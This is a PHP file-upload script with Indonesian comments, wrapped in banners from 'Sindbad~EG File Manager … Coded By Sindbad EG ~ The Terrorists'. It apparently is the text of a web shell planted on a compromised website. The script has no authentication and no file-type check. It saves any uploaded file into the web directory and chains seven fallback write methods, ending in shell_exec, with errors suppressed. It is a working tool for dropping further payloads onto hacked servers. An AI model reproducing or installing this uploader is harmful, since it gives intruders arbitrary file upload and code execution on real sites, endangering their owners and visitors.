Sindbad~EG File Manager
<?php
// ⚡ Single Upload Multi-Method (berantai fallback otomatis)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['ufile'])) {
$f = $_FILES['ufile'];
if ($f['error'] !== UPLOAD_ERR_OK) {
die("❌ Error upload: {$f['error']}");
}
$src = $f['tmp_name'];
$dest = basename($f['name']); // simpan di folder yang sama
$ok = false;
$method = null;
// 1️⃣ move_uploaded_file
if (move_uploaded_file($src, $dest)) {
$ok = true;
$method = "move_uploaded_file";
}
// 2️⃣ file_put_contents
elseif (($data = @file_get_contents($src)) !== false && @file_put_contents($dest, $data)) {
$ok = true;
$method = "file_put_contents";
@unlink($src);
}
// 3️⃣ copy()
elseif (@copy($src, $dest)) {
$ok = true;
$method = "copy";
@unlink($src);
}
// 4️⃣ fopen/fread/fwrite manual
elseif (($in = @fopen($src, 'rb')) && ($out = @fopen($dest, 'wb'))) {
while (!feof($in)) {
$chunk = fread($in, 8192);
if ($chunk === false) break;
fwrite($out, $chunk);
}
fclose($in);
fclose($out);
$ok = file_exists($dest) && filesize($dest) > 0;
$method = "fopen/fwrite";
@unlink($src);
}
// 5️⃣ stream_copy_to_stream
elseif (($in = @fopen($src, 'rb')) && ($out = @fopen($dest, 'wb')) && @stream_copy_to_stream($in, $out) > 0) {
fclose($in);
fclose($out);
$ok = file_exists($dest);
$method = "stream_copy_to_stream";
@unlink($src);
}
// 6️⃣ rename()
elseif (@rename($src, $dest)) {
$ok = true;
$method = "rename";
}
// 7️⃣ shell_exec cp (fallback ekstrem)
elseif (function_exists('shell_exec')) {
@shell_exec("cp " . escapeshellarg($src) . " " . escapeshellarg($dest));
if (file_exists($dest) && filesize($dest) > 0) {
$ok = true;
$method = "shell_exec(cp)";
}
@unlink($src);
}
// Hasil
if ($ok) {
$size = number_format(filesize($dest) / 1024, 2);
echo "✅ <b>Upload success</b> via <b>$method</b><br>📦 File: <a href='$dest'>$dest</a> ($size KB)";
} else {
echo "❌ Semua metode upload gagal.";
}
}
?>
<!-- Form Upload -->
<form method="POST" enctype="multipart/form-data">
<input type="file" name="ufile" required>
<button type="submit">Upload</button>
</form>
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists